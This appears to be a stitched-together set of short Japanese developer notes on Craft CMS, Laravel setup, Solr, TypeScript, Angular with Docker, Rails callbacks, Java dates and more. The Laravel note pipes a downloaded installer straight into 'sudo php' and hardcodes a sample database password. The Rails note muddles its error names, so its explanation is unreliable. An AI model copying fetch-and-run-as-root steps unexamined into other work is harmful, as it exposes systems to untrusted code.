    - 進捗状況のモニタリング、ステータスの評価、将来の対応の決定を行う

- 監査
    - 適用される標準、規制、契約義務に対する準拠を示すために行う
        - 監査リーダが管理、モデレートする

## 3.3 レビューのマネジメント

- レビューリーダは以下を考慮する
    - レビュー対象は何か（プロダクトおよびプロセス）
    - 特定のレビューに誰が関与するか
    - カバーすべき関連リスク要因はどれか
- レビュープロセスの予算（時間とリソース）
    - リスク評価と投資効果の計算を行う
- レビューの投資効果
    - (レビューを行うためにかかるコスト) - （レビューを行わずに次のフェーズで検出して欠陥を対処するコスト）
- レビューを実行するための最適なタイミングの要素
    - レビュー対象の完成度合い
    - 関係者の参加可能性
    - 対象の最終版が利用できるタイミング
    - レビュープロセスにかかる時間
- 欠陥を発見した場合、欠陥を見逃したレビュープロセスの方法を再検討する必要がある。
    - レビュープロセスで見逃した原因
        - レビュープロセスの問題（たとえば、不適切な開始／終了基準など）
        - レビューチームの不適切な編成
        - 不適切なレビューツール（チェックリストなど）
        - レビューアの不十分なトレーニングと経験、過少な準備期間およびレビューミーティングの時間
    - 見逃しが複数のプロジェクトで繰り返される場合、レビューの実施方法に重大な問題がある。


##3.4 レビューのためのメトリクス
## 3.5 公式レビューのマネジメント
- 公式レビューの特性
    - 定義済みの開始基準と終了基準
    - レビューアが使用すべきチェックリスト
    - レポート、評価シート、または他のレビューサマリシートなどの提供物
    - レビューの効果、効率、及び進捗をレポートするためのメトリクス
 
公式レビュー前にレビューリーダは、手順または開始基準で定義しているレビューの前提条件を満たしていることを確認する。


あたりまえのことが書かれている感じかな？
Wisywigエディタ「Redactor」にプラグインを追加する

こんなTips要らないだろって人も多いと思うんですが
こんな基本的なことも分からなかったので備忘録しておきます。

#CraftにおけるWISYWIG
リッチテキストとしてスタイルを変えたりImageを挿入したり出来るウィジウィグですが
本家Pixel & Tonicからは[Redactor](https://github.com/craftcms/redactor)もしくは[CKEditor](https://github.com/craftcms/ckeditor)というやつが公開されてます。

## Redactor導入
Craft2.xの時はRedactor標準装備だったのですが、Craft3からはそうでなくなったようなのでプラグインストアから導入します。

<img width="622" alt="スクリーンショット 2018-08-10 12.59.12.png" src="https://qiita-image-store.s3.amazonaws.com/0/23195/24c8e3cd-5a8b-3402-3fcf-643e39fc9bc3.png">

裏でcomposerが動いて勝手に入れてくれます。便利。楽。

##プラグインをゲットする
Redactorの公式？サイトのプラグインライブラリで欲しいものをゲットします。
[RedactorPlugins](https://imperavi.com/redactor/plugins/)

これもcomposerとかで出来るんでしょうけど
よく分かんなかったのでzipをダウンロード、サーバにアップという手順を踏みました。
今回はfontの色とサイズ、alignの3つです、中にはjsが入ってるっぽいです。

<img width="256" alt="スクリーンショット 2018-08-10 13.04.02.png" src="https://qiita-image-store.s3.amazonaws.com/0/23195/d12f1f3a-bb8b-44ec-6d50-499667758f1c.png">

解凍するとそのままアップ出来る形になってるのでそのままアップします。

##プラグインをアップロード

**が**

**どこにアップすればいいのか分からない問題**

色々調べた結果

```shell

cd craft/config/redactor/
mkdir plugins
```
とディレクトリを切ってあげて、この中に放り込めばいいそうです。

<img width="226" alt="スクリーンショット 2018-08-10 13.10.30.png" src="https://qiita-image-store.s3.amazonaws.com/0/23195/c8382ce5-161a-7e18-ae38-30c217e40279.png">

##確認
Redactorタイプのフィールドを追加して確認します。

<img width="548" alt="スクリーンショット 2018-08-10 13.11.54.png" src="https://qiita-image-store.s3.amazonaws.com/0/23195/46533866-e7c9-0781-0922-916e2841a1eb.png">

出来ました。

終わり。
HDInsightのJupyterNotebookでメモリ使用量を指定

ここに書いてある
https://docs.microsoft.com/ja-jp/azure/hdinsight/spark/apache-spark-jupyter-notebook-kernels

```
%%configure -f
{
"driverMemory":"20G",
"driverCores":3,
"executorMemory": "31G",
"executorCores": 5,
"numExecutors": 9
}
```
【サクラエディタ】関数を強調表示する

# C言語の関数を強調表示する
サクラエディタのシンタックスハイライトでは``if``などの予約語は強調表示されるのですが、関数は強調表示されません。
そこで、正規表現キーワードを使って強調表示させます。

# 関数を強調表示する正規表現
普通に"サクラエディタ 関数 強調"とかでググるとサクラエディタの[開発コミュニティのBBS](http://sakura-editor.sourceforge.net/cgi-bin/cyclamen/cyclamen.cgi?log=macro&v=292)が引っかかります。
そこで紹介されている正規表現でも問題ないのですが、これだとマクロ定義（``#define BIT_MASK (0x55)``みたいな）も強調表示されてしまいます。

```:BBSで紹介されている正規表現
/(if|for|while|switch|return|sizeof)[ \t]*\(/k   <- 予約語と色分けするために別キーワードとして登録
/[a-zA-Z_]+[0-9a-zA-Z_]*[ \t]*\(/k               <- こっちが本体
```

何とか正規表現一発で回避しようとしたのですが、私の力量では結局キーワードを分けることしか思いつきませんでした。
しかも二つ以上の()が出てくると二つ目以降は強調表示されてしまいます。

もう少しいい正規表現があれば教えていただければ幸いです。

```:マクロ定義の強調表示を回避
/(if|for|while|switch|return|sizeof)[ \t]*\(/k   <- 予約語と色分けするために別キーワードとして登録（青）
/(?<=#define)\s*[a-zA-Z_][0-9a-zA-Z_]*/k         <- マクロ定義を強調表示しないように別キーワードとして登録（黒）
/[a-zA-Z_]+[0-9a-zA-Z_]*[ \t]*\(/k               <- こっちが本体（好きな色）
```

## 設定方法について補足
サクラエディタで正規表現キーワードを使用するには[設定]-[タイプ別設定]-[正規表現キーワード]から、[正規表現キーワードを使用する]にチェックを入れる必要があります。
今さらEclipseとgithubを連携してみたら意外と困った。。。

#EclipseとGithubを連携しようとして検索してもうまくできなかった話
　最近になって前に作ったJavaのソースを公開しようと思ってGithubと連携しようとしたら、やり方を間違えてうまく連携できなかったので、メモとしてここに記載。

## 行けなかったのは何？？
　よくわからないことはGoogle先生にまかせているんですが、
・検索ワード
　Eclipse Github

　これで検索したときに表示されるページでめちゃくちゃ詰まった。
参考にしたページ：
　・https://qiita.com/komikcomik/items/207794a332aa581c22d4
　・https://www.marineroad.com/staff-blog/16236.html

ここに「直接GithubからCloneしましょう」的な流れがあったからやってみたけど、うまく連携できなかった。

## 違う観点で調べたらこんな記事がでてきた
　Google先生に違う単語で検索したらうまくいった。
・検索ワード
　eclipse github pull

　なんでこのキーワードを検索したかというと、最初のキーワードで検索してもうまく出てこなかったのと、
「もうcloneできなから、ローカルプロジェクトを作成してむりやりコミットすればいいんじゃね？？」
ってなったから。

実際に利用したサイトはこちら↓
　http://www.sdblog.info/20160628780.html

ここに記載されているやりかたで実施したら10分くらいで作成が完了してEclipseとGithubとが連携できた！

嬉しくも悲しい3日間でした・・・

以上。
SourceTreeのコミット時に"Couldn't posix_spawn: error ** Completed with errors, see above" とエラーが出た場合

SourceTreeで以下のエラーが出た場合の対応した方法をメモします。

` Couldn't posix_spawn: error ** Completed with errors, see above`

大量ファイルを一気にコミットしようとしたらこのエラーが出ました。
（Wordpressで /wp-contents/plugin内の大量のプラグインを一気にコミットしようとした）

## やったこと

- コミットを小分けにする（フォルダ単位など）

プラグインならプラグイン単位とか。
とにかく小分けすることでコミットできました。

根本的な解決でないと思うので、良い方法があったら教えてください。
CraftCMSの管理画面で「全てのエントリ」を非表示にする

なんか前も書いた気がするけどメインアカウントでまとめておきたいので再掲。
CraftCMSのadmin画面の話です。

#全てのエントリってなんですか
管理画面のエントリ一覧に表示されるフィルタ無しのセクションです。

<img width="439" alt="68747470733a2f2f71696974612d696d6167652d73746f72652e73332e616d617a6f6e6177732e636f6d2f302f3231303936302f66616439376436312d336332612d373361332d623837312d6266373632613261353361302e706e67.png" src="https://qiita-image-store.s3.amazonaws.com/0/23195/e860dfc3-5f1c-a515-bf49-73aa42292b01.png">

個人的見解ですが結構邪魔です。


#消す
今回Craft3を覚えたので2系と3系を載せておきます。
ベースとなるYiiFrameworkがメジャーバージョンから変わってるらしいので
ディレクトリ構成もかなり変わっており対象のファイルを探すのに苦労しました。
(ターミナルのfindコマンドをいつまで経っても覚えられないのもあり)

いずれも$sourcesを定義してるところをコメントアウトするだけでOK

## CraftCMS 2.x系
```php:craft/app/elementtypes/EntryElementType.php
$sources = array(
//	'*' => array(
//		'label'			=> Craft::t('All entries'),
//		'criteria'		=> array('sectionId' => $sectionIds, 'editable' => $editable),
//		'defaultSort'	=> array('postDate', 'desc')
//	)
);

```


## CraftCMS 3系

Craft3はphpが7.xになってるのでこうです。

```php:craft/vendor/craftcms/cms/src/elements/Entry.php
$sources = [
//	[
//		'key' => '*',
//		'label' => Craft::t('app', 'All entries'),
//		'criteria' => [
//			'sectionId' => $sectionIds,
//			'editable' => $editable
//		],
//		'defaultSort' => ['postDate', 'desc']
//	]
];
```

#終わり。

<img width="430" alt="68747470733a2f2f71696974612d696d6167652d73746f72652e73332e616d617a6f6e6177732e636f6d2f302f3231303936302f34616465616231302d336132332d633136382d366365302d6232353232636337373230622e706e67.png" src="https://qiita-image-store.s3.amazonaws.com/0/23195/123c0d1d-a053-cb19-74fa-6792b9f49f97.png">


#UPDATE(2019-03)
上記のやり方ではCMSアップデートで元に戻ってしまうので
ControlPanel CSSというプラグインを使って表示を消す方がスマートであることに気付きました。

[https://github.com/doublesecretagency/craft-cpcss](cpcss)

プラグイン導入後に設定→CPCSSへ移動し
「Additional CSS」の欄に以下を追記します。
（外部ファイルにしたい場合はCSSファイルをアップロードした後にCSS Fileの欄にパスを指定します。）

<img width="343" alt="スクリーンショット 2019-03-25 15.51.55.png" src="https://qiita-image-store.s3.amazonaws.com/0/23195/ae9134e7-78fa-46f4-ab69-081ad613dc5b.png">

これでOK！
laravelコマンド

※自分用メモ

■laravelコマンド
１．下記コマンドを実行してインストール
	composer global require "laravel/installer=~1.1"

２．下記にコマンドを確認
	~/.composer/vendor/bin

３．パスを通す
	export PATH="~/.composer/vendor/bin:$PATH" 

４．プロジェクト作成
	laravel new プロジェクト名


■artisanコマンド
	・laravelのversion確認
		php artisan --version

	・artisanコマンドの全リストを確認
		php artisan list

	・artisanで実行できるコマンドのオプションの確認
		php artisan help コマンド
		php artisan help make:controller

	・コントローラの作成
		php artisan make:controller コントローラー名

	・モデルの作成
		php artisan make:model モデル名

	・フォームリクエストの作成
		※バリデーション(入力データのチェック)用のクラス
		php artisan make:request リクエスト名

	・.envファイルのキャッシュをクリア
		※.envファイルや設定データ(config/app.php)の編集やマイグレーションを実行してDBの構成を変更をしたら
		キャッシュをクリアにして変更内容を反映させます。
		php artisan config:cache


	■データベース管理用コマンド
	・マイグレーションファイルの作成
		php artisan make:migration {マイグレーションファイル名} --create={テーブル名}

		※マイグレーションファイル名のつけ方
		create_{テーブル名}_table

		例：php artisan make:migration create_article_table --create=article

	・マイグレーションファイルの実行
		マイグレーションファイルをデータベースに反映させるためには、再びartisanコマンドを使用
		php artisan migrate

	■DBテーブルにデモデータの登録
	・シーダーファイルの作成
		※コマンドを実行するとdatabase/seedsにシーダーファイル(ArticlesTableSeeder.php)が作成されます。
		php artisan make:seeder ArticlesTableSeeder

	・シーダーの実行
		php artisan db:seed
laravel導入後の操作

※自分用メモ

■laravel導入後の操作
※主にphp artisanコマンドで操作を行う

参考URL
http://qiita.com/zaburo/items/37768b743ed6d0e28bf5

	artisanコマンドの種類
	php artisan list

	artisanコマンドがわからないとき
	php artisan help

	makeコマンドがわからないとき
	php artisan help make

	make:controllerコマンドがわからないとき
	php artisan help make:controller

	URIの確認
	php artisan route:list

	middlewareの新規作成
	php artisan make:middleware ミドルウェア名

_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/

必要に応じて実行

_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/

・マイグレーションの実行
	オプションによりDBのテーブルを作成・編集・削除・前に戻すなどを行う
	php artisan migrate

	実行すると下記のテーブルが作成される。
	migrations
	users
	password_resets

・DBテーブルの作成
	テーブル名は慣例的に複数形で命名
	実行するとマイグレーションファイルが作成され、その中にテーブル作成のプログラムを書く
	create_作成したいテーブル名_tableの部分はできるだけわかりやすい名前を付ける
	１．php artisan make:migration create_作成したいテーブル名_table --create=作成したいテーブル名
		例：php artisan make:migration create_articles_table --create=articles

	下記を実行すると１で作成されたマイグレーションファイルが実行されテーブルが作成される
	２．php artisan migrate

・DBテーブルの変更
	パターン１
		ロールバックして、マイグレーションファイルに項目を追加してから、再度マイグレーションを実行する
	パターン２
		項目追加用のマイグレーションファイルを作成して、マイグレーションを実行

		例：Articleテーブルに published_at 項目を追加
		php artisan make:migration add_published_at_to_articles_table --table=articles


・マイグレーションのロールバック
	テーブル作成を取り消して、DBを１つ前の状態に戻す
	php artisan migrate:rollback

・DBテーブルへサンプルデータの登録
※参考URL
https://laravel10.wordpress.com/2015/03/05/%E5%88%9D%E3%82%81%E3%81%A6%E3%81%AElaravel-5-13-seeding/#more-537

	database/seeds/DatabaseSeeder.phpの中にサンプルデータを作成します
	編集してから下記を実行
	php artisan db:seed

・コントローラーの作成
	中身が空のコントローラーの作成
	php artisan make:controller コントローラー名
	例：php artisan make:controller WelcomeController

	ひな型のメソッドをすべて用意してコントローラーの作成
	php artisan make:controller -r コントローラー名
	例：php artisan make:controller -r WelcomeController

・モデルの作成
	テーブル名は複数形で、モデル名は単数形で命名するのが慣例
	php artisan make:model モデル名
	例：php artisan make:model Article

・バリデーション(入力チェック)の作成
	php artisan make:request バリデーション名
	例：php artisan make:request ArticleRequest
Laravel導入手順

※自分用メモ

■laravel導入手順
※参考URL
http://kimagureneet.hatenablog.com/entry/2016/08/18/194857
https://laravel10.wordpress.com/2015/02/13/laravel%E3%81%AE%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB/

１．composer経由でインストールするためcomposerのインストールを行う
	※composerの使い方 参考URL
	http://9ensan.com/blog/programming/php/php-composer-cli/
	http://linuxserver.jp/%E3%83%97%E3%83%AD%E3%82%B0%E3%83%A9%E3%83%9F%E3%83%B3%E3%82%B0/php/composer-list

	curl -sS https://getcomposer.org/installer | sudo php
	mv composer.phar /usr/local/bin/composer

２．laravelのインストール
	laravelのインストールには２通り

	１．パターン１
		※-prefer-dist: リリース版、安定版をダウンロードします。
		composer create-project laravel/laravel --prefer-dist プロジェクト名

	２．パターン２
		LARAVEL インストーラを使ったプロジェクト作成
		最初にcomposerを使ってlaravelインストーラーをインストール

		バージョン指定
		composer global require "laravel/installer=~1.1"

		安定版指定
		composer global require "laravel/installer" --prefer-dist

		既存のupdate(これでいいのか用調査)
		composer update "laravel/installer" --prefer-dist

		laravelコマンドをインストールしたら.bashrcにパスを通す
		export PATH=$HOME/.composer/vendor/bin:$PATH

		laravelコマンドでlaravel&プロジェクト作成
		laravel new プロジェクト名

	３．デバッガーのインストール
		※参考URL：http://qiita.com/LowSE01/items/d0333fc30e433e68acfd
		composer require barryvdh/laravel-debugbar

３．環境設定
	cd プロジェクト名

	下記は.envがあればしなくてもいい
	cp .env.example .env

	.env 内の APP_KEY にアプリケーション固有のランダムストリングが設定
	ユーザーのセッション情報やパスワードの暗号化等をセキュアにする為に必要
	php artisan key:generate

	.env内の設定
		環境に合わせて設定
		DB_CONNECTION=mysql
		DB_HOST=127.0.0.1
		DB_PORT=3306
		DB_DATABASE=laravel_db
		DB_USERNAME=laraveluser
		DB_PASSWORD=laravel5963

	config/app.php内の設定
		'timezone' => 'Asia/Tokyo',
		'locale' => 'ja',

	config/database.php内の設定
		※第一引数に.envで設定した値が使用され、なければ第二引数が使用される

		環境に合わせて設定
		'host' => env('DB_HOST', '127.0.0.1'),
		'port' => env('DB_PORT', '3306'),
		'database' => env('DB_DATABASE', 'forge'),
		'username' => env('DB_USERNAME', 'forge'),
		'password' => env('DB_PASSWORD', ''),
		'unix_socket' => env('DB_SOCKET', ''),
		'charset' => 'utf8',
		'collation' => 'utf8_general_ci',

	権限の設定
		storageとbootstrap/cacheディレクトリにread, write 権限が必要
		chown -R ユーザー名:グループ名 storage
		chown ユーザー名:グループ名 bootstrap/cache

	MySQLのDB作成
		rootでmysqlにログインしてDBを作成
		create database laravel_db default character set utf8;

		データベースへの全てのアクセス権限を持った、新規ユーザーlaraveluserを登録
		grant all privileges on laravel_db.* to laraveluser@localhost identified by 'laravel5963';

	DB接続確認
		php artisan migrate

４．プロジェクトの実行
	localhost:8000は環境に合わせる↓
	-tオプションでドキュメントルートのpublicを指定
	php -S localhost:8000 -t public

	下記でも実行可能。--host 0.0.0.0は環境に合わせる
	php artisan serve --host 0.0.0.0
Nuxt.jsでデバイスによって読み込むCSSファイルを切り替える

nuxt-device-detectというModuleを使えば実現できます。
https://github.com/nuxt-community/device-module

これを使えばコンテキストに$deviceがインジェクトされ、デバイス判別プロパティにアクセスできます。
（内部ではUser-Agentを見て切り替えている）

```js
context.isDesktop
context.isMobile
context.isTablet
context.isMobileOrTablet

// thisからもアクセス可能
this.$device.isDesktop
```

あとはpageのlayoutから$deviceを使い、レイアウトを切り替えます。
`layouts/pc.vue`にPC用のSCSSファイルなどをstyleに読み込めばOKです。

```js
export default {
  layout ({ app }) {
    return app.$device.isDesktop ? 'pc' : 'sp'
  }
}
```

全pageファイルにlayoutを記述するのは面倒だと思うので、グローバルMixinを使いましょう。
自分は以下のようなPluginを作成しました。

```js
import Vue from 'vue'

Vue.mixin({
  layout ({ app }) {
    return app.$device.isDesktop ? 'pc' : 'sp'
  }
})
```
【solr】point type fieldについて

# はじめに

下記の理由からPoint Typeフィールドとは何かを調査してみた。

* solr7.0でPoint Type Fieldという新しいデータ構造がサポートされた。
* すべてのトライ木ベースの数値系、date系のフィールドがdeprecatedとなった。

# Point Typeとは？
いわゆるkdツリーと呼ばれるデータ構造で、値空間を小さく分割することで、indexingや検索性能を高めることができるらしい


# スキーマ定義

下記のように定義して使用する

```
  <fieldType name="pint" class="solr.IntPointField" docValues="true"/>
  <fieldType name="pfloat" class="solr.FloatPointField" docValues="true"/>
  <fieldType name="plong" class="solr.LongPointField" docValues="true"/>
  <fieldType name="pdouble" class="solr.DoublePointField" docValues="true"/>
```

注意点として、現状のPointフィールドではfieldcacheがサポートされていないため、基本的にdocValuesを有効にすることが推奨される。



# まとめ

* Pointフィールドはranged検索では高速(速度、メモリ、ディスク観点)だが、単純なfield:valueの検索ではパフォーマンスは下がるらしいので、現時点では用途に応じて使いわけるのが良さそう(将来的に改善される可能性はあるとのこと)
* Pointフィールドはfieldcacheが使えないのでdocValuesを有効にすべし


# 参考
* [wikipedia kd木](https://ja.wikipedia.org/wiki/Kd%E6%9C%A8)
* [プリンストン大学Robert SedgewickさんのKDツリーレッスン](https://youtu.be/qLnMoPPMX9Q)

[![プリンストン大学Robert SedgewickさんのKDツリーレッスン](http://img.youtube.com/vi/qLnMoPPMX9Q/0.jpg)](http://www.youtube.com/watch?v=qLnMoPPMX9Q)
C＃でWord文書を作成する

マイクロソフトでは、Word文書内にセクションの概念を設定しています.Wordドキュメントにはセクションが1つまたは複数含まれる場合があります。たとえば、Word文書の最初のページを表紙としてセクション、後者を別のセクション、ページ番号を2番目のセクションに設定することができます。
Documentクラスをインスタンス化した後、Spire.Docを使用してWord文書を作成する過程で、セクションを記入し、段落、テキストの書式および書式を追加する必要があります。
使用する必要のあるツール：Spire.Doc for .NET。
アドレスをダウンロード：https://www.e-iceblue.com/Introduce/word-for-net-introduce.html

```ruby:Program.cs

//ドキュメントインスタンスを作成する
Document doc = new Document();
//セクションを追加
Section s = doc.AddSection();
//3つの段落を追加し、テキストを書く
Paragraph para1 = s.AddParagraph();
para1.AppendText("セントラル?プレインズも詩の読み物");
Paragraph para2 = s.AddParagraph();
para2.AppendText("猫（にやあ）　言う写作云ふ　おまえ写作おまへ");
Paragraph para3 = s.AddParagraph();
para3.AppendText("また来ん春…… また来ん春と人は云ふ しかし私は辛いのだ 春が来たって何になろ あの子が返つて来るぢやない おもへば今年の五月には おまへを抱いて動物園 象を見せても猫といひ 鳥を見せても猫だった 最後に見せた鹿だけは 角によっぽど惹かれてか 何とも云はず　眺めてた ほんにおまへもあの時は 此の世の光のたゞ中に 立って眺めていたっけが");
//最初の段落をタイトルとして使用してタイトルの書式を設定する
ParagraphStyle style1 = new ParagraphStyle(doc);
style1.Name = "titleStyle";
style1.CharacterFormat.Bold = true;
style1.CharacterFormat.TextColor = Color.Purple;
style1.CharacterFormat.FontName = "MS Gothic";
style1.CharacterFormat.FontSize = 12f;
doc.Styles.Add(style1);
para1.ApplyStyle("titleStyle");
//残りの2つの段落の書式を設定する
ParagraphStyle style2 = new ParagraphStyle(doc);
style2.Name = "paraStyle";
style2.CharacterFormat.FontName = "MS Gothic";
style2.CharacterFormat.FontSize = 11f;
doc.Styles.Add(style2);
para2.ApplyStyle("paraStyle");
para3.ApplyStyle("paraStyle");
//3つの段落の配置を設定する
para1.Format.HorizontalAlignment = HorizontalAlignment.Center;
para2.Format.HorizontalAlignment = HorizontalAlignment.Justify;
para3.Format.HorizontalAlignment = HorizontalAlignment.Justify;
//最初のインデントを設定する
para2.Format.FirstLineIndent = 30f;
para3.Format.FirstLineIndent = 30f;
//パラグラフ間の間隔を設定する
para1.Format.AfterSpacing = 15f;
para2.Format.AfterSpacing = 10f;
//ドキュメントを保存
doc.SaveToFile("Word文書.docx", FileFormat.Docx2013);

```

デバッグしてコードを実行した後、次のようにドキュメントを生成します：
![1.jpg](https://qiita-image-store.s3.amazonaws.com/0/278784/5e39d01a-48c5-2918-5073-d6e8e3c5eb09.jpeg)
VSCodeでTypeScriptを簡単に動かす環境構築

この記事は、TypeScript始めたいけどなにしたらいいのかわかんね、という人向けです。

## 前提として必要なもの
- Node.js（npmを使います）
- 好きなエディタ（VSCodeが標準でTypeScriptをサポートしてるので便利）
- Macで検証しています

## TypeScriptのインストール
``` $ npm install -g typescript ```

成功したら
``` $ tsc --version ``` でバージョンをチェックしてみましょう。
``` Version 4.2.3 ```などと表示されたらOKです。

## コンパイル環境を作る
ここからはVSCodeを使う前提で書いていきます。

### package.jsonの作成
プロジェクトを作成したいディレクトリの配下に移動して下記コマンドを実行。
``` $ npm init ``` 
package.jsonが作成されます。プロジェクト名などが質問されるので適当に入力します。必須でない項目は空でもOKです。
そうして出来たpackage.jsonは初期状態はこんな感じになってますが…

```json
{
  "name": "hoge",
  "version": "1.0.0",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": ""
}
```
こう、変更します。nameとかversionは適当でいいです。

```json
{
  "name": "hoge",
  "version": "1.0.0",
  "private": true, // モジュールを公開する必要がなければtrueにしておきます
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "build": "tsc",　// ここにTypeScriptを指定しておく
    "watch": "tsc -w" // あとで自動コンパイルのために必要になります
  }
}

```

### tsconfig.jsonの作成
``` $ tsc --init ```
でtsconfig.jsonを作成します。
作成されたtsconfig.jsonにはたくさん項目がありますが、最低限は以下です。

```json
{
  "compilerOptions": {
    /* Basic Options */
    "target": "es6",                          /* Specify ECMAScript target version: 'ES3' (default), 'ES5', 'ES2015', 'ES2016', 'ES2017','ES2018' or 'ESNEXT'. */
    "module": "commonjs",                     /* Specify module code generation: 'none', 'commonjs', 'amd', 'system', 'umd', 'es2015', or 'ESNext'. */
    "outDir": "./dist/js",                        /* Redirect output structure to the directory. */
    "rootDir": "./src/ts",                       /* Specify the root directory of input files. Use to control the output directory structure with --outDir. */
    "strict": true,                           /* Enable all strict type-checking options. */
    "esModuleInterop": true                   /* Enables emit interoperability between CommonJS and ES Modules via creation of namespace objects for all imports. Implies 'allowSyntheticDefaultImports'. */
   
  },
  "exclude": [
        "node_modules"
    ]
}
```
rootDirにはTypeScriptファイルを置く場所を指定し、outDirにはコンパイルしたJavaScriptファイルを出力する場所を指定します。このへんはプロジェクトの構造に合わせてお好みで。

以上のファイルをプロジェクトの直下に置いておきます。

## 自動コンパイル
ここまで出来たら適当な.tsファイルを用意します。
今回はサンプルとしてこんな風にしました。

```typescript
const test: string = "world!";
console.log(`Hello ${test}`);
```

JavaScriptが出力されるか確認するだけなので、console.logだけでもOKですが、せっかくなのでconstを使います。

そしたらプロジェクトの階層で
``` $ npm run watch ```
を実行します。

tsc -w　が呼ばれているでしょうか。
エラーがなく成功すれば、outDirとして指定したフォルダにJavaScriptファイルが生成されていると思います。
エラーが出る場合はだいたいpackage.jsonが間違っていたりするときなので見直してみましょう。
これで.tsファイルを保存するたびに.jsファイルが更新されるようになりました。停止したいときはcontrol＋Cで。

以上で簡単にTypeScriptを作る環境が出来ました。今回はMacOS,VSCodeで検証しています。あくまで最低限です。
より詳細は下記の公式ドキュメントをご参照ください。

## 参考記事
https://code.visualstudio.com/docs/typescript/typescript-tutorial
DockerでAngularをお試し

# はじめに

社内でAngular解説を行うために作成した記事です。
環境を汚さずにDockerを使ってAngularを試す方法を解説します。

記事執筆時点のバージョンは Angular 6.1 です。

Docker環境はあらかじめ準備されているものとします。

# Docker関係のファイルを用意する

ディレクトリ構成は以下。

```
.
├── Dockerfile
└── docker-compose.yml
```

## Dockerfile を用意

```Dockerfile
FROM node:10.8.0-stretch

RUN npm install -g @angular/cli && ng config -g cli.packageManager yarn
WORKDIR /projects
```

Node.js のバージョンは現時点の LTS ではなく、今後の LTS になる予定の 10 系を選択しています。
一応この記事の通りにやった時の再現性を意識して 10.8.0 まで細かくバージョンを指定しています。
この辺りのバージョン指定は利用する Angular バージョンがサポートしてる範囲でお好きなように。

stretch を指定しているのは、最初から色々入ってる方が開発環境としては楽なので。

あと Angular が使うパッケージマネージャは yarn にしてます。

これだけでも docker コマンドを使ってコンテナを扱えるけど、より便利なので docker-compose を使います。


## docker-compose.yml を用意


```yml
version: '3'

services:
  node:
    build: .
    ports:
      - "4200:4200"
    volumes:
      - ".:/projects"
    tty: true
```

ポート番号 4200 番は Angular の開発サーバーが利用します。 
カレントディレクトリがコンテナの /projects ディレクトリで見えるようにボリューム指定しています。
このコンテナは何もサービスを起動しないので、```tty: true``` を指定しておかないとコンテナ起動時にすぐに終了してしまうので注意。

# Dockerコンテナで作業する

docker-compose.yml のあるディレクトリで以下を実行し、Dockerコンテナを作成＆起動。
初回はイメージのビルドを行うので時間がかかります。

```
docker-compose up -d
```

起動したら以下でコンソールに入れます。

```
docker-compose exec node bash
```

root で入りたくないなら以下。node ユーザーが予め存在してるのでそれを使ってます。

```
docker-compose exec --user=node node bash
```

コンテナを停止するにはコンソールを抜けてから以下を実行。

```
docker-compose down
```

# Angularを試す

[Angularは公式の日本語版](https://angular.jp/)があり、チュートリアルやリファレンスも充実しています。
「[Angular6のプロジェクトを作ったらまずやっとくこと](https://qiita.com/k5n/items/dbda26cf6b899a11329d)」も参考にしてください。

注意点として、```--hots=0.0.0.0``` をつけて開発サーバーを起動しないとコンテナの外から見えません。

```
ng serve --host=0.0.0.0
```

```ng serve``` だけだと localhost からしか見えないのですが、Docker コンテナにとっての localhost はコンテナ自身であり、ホスト側は外部になるためです。

# まとめ

Angular 開発を行うことができる Docker 環境を構築しました。
これで環境を汚すことを気にせずに気楽に Angular を試せます。
【Rails】 before_update, before_createのコールバックでfalseを返すだけの処理をすると、レコードが保存されない

## 問題コード

CIテストの処理をしている際にこの問題を発見しました。
該当のコードは以下のようになります。

```ruby:app/model/sample.rb
class Sample < Example

  before_create :assign_taxable

  private

  def assign_taxable
    self.tax = false
  end
```

## 原因

上記のコードにより、モデル作成前に assign_taxable コールバックが呼ばれる訳ですが、このfalseが曲者です。
本来、`Activerecordのsaveメソッド自体が失敗した場合も false が返されます。`
その後、raiseエラーによりRecordNotFoundがキャッチされてしまいます。
そのため、`今回のコールバックもraiseエラーにキャッチされてしまったのですね、、、`

## 解決方法

ひとまず、falseを最後に返すようなコールバックにしなければ良いので、最後に `nil` を追加しました。
これにより、RecordNotFoundをキャッチすることがなくなりました。

```ruby:app/model/sample.rb
class Sample < Example

  before_create :assign_taxable

  private

  def assign_taxable
    self.tax = false
    nil <- これを追加
  end
```

## 参考文献

* ActiveRecord saveメソッドについて

 - [https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-save-21](https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-save-21)

* before_create, before_updateコールバックにfalseを返す処理をした際の問題について
  - [https://apidock.com/rails/ActiveRecord/RecordNotSaved#601-ActiveRecord-RecordNotSaved-can-be-triggered-by-accidental-false-return-values-in-callbacks](https://apidock.com/rails/ActiveRecord/RecordNotSaved#601-ActiveRecord-RecordNotSaved-can-be-triggered-by-accidental-false-return-values-in-callbacks)
Javaで文字列からLocalDate型に変換してみた

JavaでString型の日付からLocalDate型に変換する方法の一例です。
今回調べた経緯は、Java Persistence API(JPA)を使用したAPIを実装中に、
String型で格納したyyyyMMddの形式の文字列をLocalDate型に変換する必要があったためです。

## 前提

本投稿ではJavaのバージョンは8を使用しています。
紹介する内容はあくまでも一例なので、あしからず。

## 文字列 "yyyyMMdd" → LocalDate型への変換

とりあえず、下記のメソッドを作る

```Java:Sample.java
// 文字列の日付をフォーマット(yyyyMMddやyyyy/mm/ddなど)をもとにLocalDate型に変換するメソッド
public static LocalDate convertToLocalDate(String date,String format) {

                // シンプルにLocalDate型に変換された日付を返却
		return LocalDate.parse(date, DateTimeFormatter.ofPattern(format));

	}
```
結果を確認するため出力する

```Java:Sample.java
public class Sample {
	
	public static void main (String args[]) {
	
		System.out.println(convertToLocalDate("19990707", "yyyyMMdd"));

	}
```

出力結果はこのような感じになる

```Java:結果
1999-07-07
```
クラスDateTimeFormatterには事前定義されたフォーマッタがあるらしく、
そちらを使った例がこちら

```Java:Sample2.java
// 引数を文字列dateとDateTimeFormatterクラスのインスタンスに変更
public static LocalDate convertStringToLocalDate(String date,DateTimeFormatter formatter) {

		return LocalDate.parse(date,formatter);

	}
```
今回使うフォーマッタはこれ → BASIC_ISO_DATE ("基本的なISO日付"との説明がoracleのページにありました)
